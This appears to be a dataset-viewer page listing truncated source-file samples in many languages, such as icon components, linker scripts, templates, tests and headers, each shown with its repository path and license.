import { jsx as _jsx } from "react/jsx-runtime";
export default createSvgIcon( /*#__PURE__*/_jsx("path", {
d: "M2 12h5v2H2zm16.17 1.75c.52-.79.83-1.73.83-2.75 0-2.76-2.24-5-5-5s-5 2.24-5 5 2.24 5 5 5c1.02 0 1.96-.31 2.76-.83L20.59 19 22 17.59l-3.83-3.84zM14 14c-1.65 ... | JavaScript | 4 | good-gym/material-ui | packages/material-ui-icons/lib/esm/ManageSearchTwoTone.js | [
"MIT"
] |
/* ROM function interface esp32c3.rom.newlib-nano.ld for esp32c3
*
*
* Generated from ./interface-esp32c3.yml md5sum 93b28a9e1fe42d212018eb4336849208
*
* Compatible with ROM where ECO version equal or greater to 0.
*
* THIS FILE WAS AUTOMATICALLY GENERATED. DO NOT EDIT.
*/
/************************************... | Linker Script | 2 | DCNick3/esp-idf | components/esp_rom/esp32c3/ld/esp32c3.rom.newlib-nano.ld | [
"Apache-2.0"
] |
extends /templates/common/table
block tableResultsHeader
tr
th(colspan=4)
span(data-i18n="general.results")
| Results
span
|: #{documents.length}
block tableHeader
tr
th(data-i18n="general.name") Name
th(data-i18n="general.description") Description
th(data-i18n="general... | Jade | 3 | cihatislamdede/codecombat | app/templates/editor/level/table.jade | [
"CC-BY-4.0",
"MIT"
] |
(module
(func $f (import "" "f") (param i32 i64 i64 i32) (result i32 i64 i64 i32))
(func $g (export "g") (param i32 i64 i64 i32) (result i32 i64 i64 i32)
(call $f (local.get 0) (local.get 2) (local.get 1) (local.get 3))
)
)
| WebAssembly | 3 | slave5vw/wasmer | lib/c-api/tests/wasm-c-api/example/multi.wat | [
"MIT"
] |
#include-once
#include <Array.au3>
#include "MinimizeToTray.au3"
Func CmdlineHasParams()
Return UBound($CmdLine) > 1
EndFunc
Func _GetTitleFromProcName($sProcessName)
$aAllProcesses = ProcessList()
Dim $aDetectedProcesses[0]
For $i = 0 To UBound($aAllProcesses) - 1
If $aAllProcesses[$i][0] == $sProcessName The... | AutoIt | 4 | TitusKirch/MinimizeToTray | cmdline.au3 | [
"MIT"
] |
Import rockout
Function DrawCursor ()
SetColor 255, 255, 255
DrawLine RockOut.mx - 8, RockOut.my, RockOut.mx + 8, RockOut.my
DrawLine RockOut.mx, RockOut.my - 8, RockOut.mx, RockOut.my + 8
End
Function RenderGame ()
Cls 32, 64, 128
Block.Render
Shot.Render
ScoreBubble.Render
DrawCursor
GameSession.Play... | Monkey | 4 | blitz-research/monkey | bananas/hitoro/rockout/imports/rendergame.monkey | [
"Zlib"
] |
.class public Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;
.super Lcom/lenovo/safecenter/HealthCheck/BaseHealthCheck;
.source "HealthProtectVirus.java"
# instance fields
.field public final SCORE_VALUE_PROTECT_VIRUS:I
# direct methods
.method public constructor <init>(Landroid/content/Context;Lcom/le... | Smali | 3 | jarekankowski/pegasus_spyware | sample4/decompiled_raw/smali/com/lenovo/safecenter/HealthCheck/item/HealthProtectVirus.smali | [
"MIT"
] |
/// <reference path="fourslash.ts"/>
////class Foo {
//// private y;
//// constructor(private x) {}
//// method() { this./*1*/; }
////}
////var f:Foo;
////f./*2*/
verify.completions(
{ marker: "1", exact: ["method", "x", "y"] },
{ marker: "2", exact: "method" },
);
| TypeScript | 4 | monciego/TypeScript | tests/cases/fourslash/completionListPrivateMembers2.ts | [
"Apache-2.0"
] |
# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved.
Feature: Outputting Value Objects implementing IGListDiffable
@announce
Scenario: Generating a value object, which correctly implements IGListDiffable using the specified diffIdentifier
Given a file named "project/values/IGListDiffableTes... | Cucumber | 4 | ztao2010/IGListKit | remodel-plugin/features/iglistdiffable.feature | [
"MIT"
] |
<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 20 20" height="20" viewBox="0 0 20 20" width="20"><g><rect fill="none" height="20" width="20"/></g><g><g><circle cx="14.5" cy="5.5" r="2.5"/><path d="M12.34,11.51L5.97,5.15c-0.2-0.2-0.51-0.2-0.71,0L3.15,7.26c-0.2,0.2-0.2,0.51,0,0.71l6.36,6.36c0.2,0.2,0.... | SVG | 2 | elisoncrum/piipan | query-tool/src/Piipan.QueryTool/wwwroot/images/usa-icons-unused/sports_cricket.svg | [
"CC0-1.0"
] |
/* vim: ft=javascript:ts=4:sw=4
*/
/* strings */
<newFile "New File">
<close "Close">
/* parameters */
<luckyNum "Your lucky number is: {{num}}">
<signedIn "You're signed in as {{login}}">
/* attributes */
<nameInput
placeholder: "Write your name"
title: "You can give us your nickname if you prefer">
/* co... | LOLCODE | 3 | SunboX/webL10n | LOL/data/test.lol | [
"WTFPL",
"MIT"
] |
%_NTTREE%\unittests\conterm.parser.fuzzwrapper.exe %1 %2 %3 %4 %5 %6 | Batchfile | 0 | Ghosty141/Terminal | src/terminal/parser/ft_fuzzwrapper/run.bat | [
"MIT"
] |
package org.xtendroid.xtendroidtest.json
import org.xtendroid.json.AndroidJson
import java.util.Date
import java.util.List
@AndroidJson
class AndroidJsonTest1 {
Date date
Date[] dateArray
List<Date> dateList
}
class AndroidJsonTest2 {
@AndroidJson
Date date
@AndroidJson
Date[] dateArray
@AndroidJson
... | Xtend | 3 | kusl/Xtendroid | XtendroidTest/src/org/xtendroid/xtendroidtest/json/AndroidJsonTest.xtend | [
"MIT"
] |
#summary Higlights of 1.4.1 release
= Introduction =
wro4j-1.4.1 is a minor release of 1.4.x branch, containing several small fixes and improvements. You can easily migrate to 1.4.1 from 1.4.0, because it is backward compatible. For a complete list of fixed issues, check-out the [ReleaseNotes release notes] page.
Sma... | MediaWiki | 3 | supakiad/wro4j | docs/ReleaseHighlights_1_4_1.wiki | [
"Apache-2.0"
] |
0 reg32_t "dword"
1 ptr(struct(0:num32_t,4:ptr(TOP),8:ptr(TOP))) "_SCOPETABLE_ENTRY*"
2 uint32_t "UINT"
3 code_t "proc*"
4 ptr(struct(0:array(reg8_t,12),12:reg32_t)) "StructFrag_41*"
5 ptr(array(reg8_t,6)) "unknown_48*"
6 ptr(TOP) "void*"
7 num8_t "char"
8 array(reg8_t,3) "unknown_24"
9 ptr(struct(0:ptr(num8_t),4:num32... | BlitzBasic | 2 | matt-noonan/retypd-data | data/sphinx2_client.exe.decls | [
"MIT"
] |
// Copyright (C) 2003 Dennis Syrovatsky. All Rights Reserved.
//
// This file is part of the VNC system.
//
// The VNC system is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of th... | C | 3 | OsmanDere/metasploit-framework | external/source/vncdll/winvnc/FileTransferItemInfo.h | [
"BSD-2-Clause",
"BSD-3-Clause"
] |
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.Component = Component;
var _react = _interopRequireDefault(require("react"));
var _useTheme = _interopRequireDefault(require("./useTheme"));
var _jsxFileName = "";
function _interopRequireDefault(obj) { return obj && obj.__esMod... | JavaScript | 4 | GBKstc/react-analysis | packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/fb-sources-extended/ComponentWithExternalCustomHooks.js | [
"MIT"
] |
[38;2;117;113;94m-- | This module defines a datatype `Pair` together with a few useful instances[0m
[38;2;117;113;94m-- | and helper functions. Note that this is not just `Tuple a a` but rather a[0m
[38;2;117;113;94m-- | list with exactly two elements. Specifically, the `Functor` instance maps[0m
[38;2;117;113;9... | PureScript | 5 | JesseVermeulen123/bat | tests/syntax-tests/highlighted/PureScript/test.purs | [
"Apache-2.0",
"MIT"
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.